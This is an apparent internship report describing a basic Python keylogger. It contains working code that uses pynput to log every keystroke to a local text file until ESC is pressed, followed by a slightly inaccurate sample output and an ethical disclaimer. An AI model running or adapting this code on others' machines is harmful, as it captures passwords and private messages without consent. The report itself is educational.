Prodigy Infotech Cybersecurity Internship Report

Task 4: Simple Keylogger

Submitted by: Saira Arshad

STUDENT ID: CA/AU1/8075

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🔹 Introduction

A keylogger is a simple program that records the keystrokes made by a user on the keyboard.
This project demonstrates the implementation of a basic keylogger in Python, which captures and logs keystrokes into a text file.
The purpose of this task is to understand how event listeners work in Python and how input data can be logged for later use.

🔹 Objective

- To create a simple keylogger using Python.
- To log all keystrokes into a text file (key_log.txt).
- To handle both normal keys (alphabets, numbers, symbols) and special keys (Enter, Space, Shift, ESC, etc.).
- To stop logging when the ESC key is pressed.

🔹 Tools & Technologies

- Programming Language: Python 3.x
- Library Used: pynput (for capturing keyboard events)
- Platform: Windows / Linux
- Output File: key_log.txt

🔹 Implementation

📌 Code

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# Task-04: Simple Keylogger

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from pynput import keyboard



# File where keystrokes will be saved

log_file = "key_log.txt"



def on_press(key):
```

```
    try:
        # Try to log the character key
        with open(log_file, "a") as f:
            f.write(f"{key.char}")
    except AttributeError:
        # Handle special keys (like enter, space, shift, etc.)
        with open(log_file, "a") as f:
            f.write(f"[{key}]")

def on_release(key):
    # Stop the keylogger if ESC is pressed
    if key == keyboard.Key.esc:
        print("\n[+] Keylogger stopped (ESC pressed).")
        return False

print("[+] Keylogger is running... (Press ESC to stop)")

# Start listening to the keyboard
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
```

🔹 Working

1. When the program starts, it displays:
2. [+] Keylogger is running... (Press ESC to stop)
3. Every key pressed by the user is logged into a text file.
4. Normal keys (like letters, digits, symbols) are recorded directly.
5. Special keys (Enter, Space, Shift, etc.) are recorded in [Key.name] format.
6. When the user presses ESC, the program stops.

🔹 Sample Output (key_log.txt)

If the user typed:

hello 123

The log file will contain:

h e l l o [Key.space] 1 2 3 [Key.enter] [Key.esc]

🔹 Conclusion

This project demonstrates how a basic keylogger can be implemented using Python's pynput library.
It provides insights into keyboard event handling, file writing, and continuous background processes in Python.
Such tools are often used for monitoring and debugging purposes but must be used responsibly.

🔹 Ethical Disclaimer ⚠️

Keyloggers can capture sensitive information such as passwords, personal messages, and private data.
This project is created only for educational purposes under the Prodigy Infotech internship.
It should NOT be used for malicious or illegal activities. Always ensure you have permission before running such programs on any system.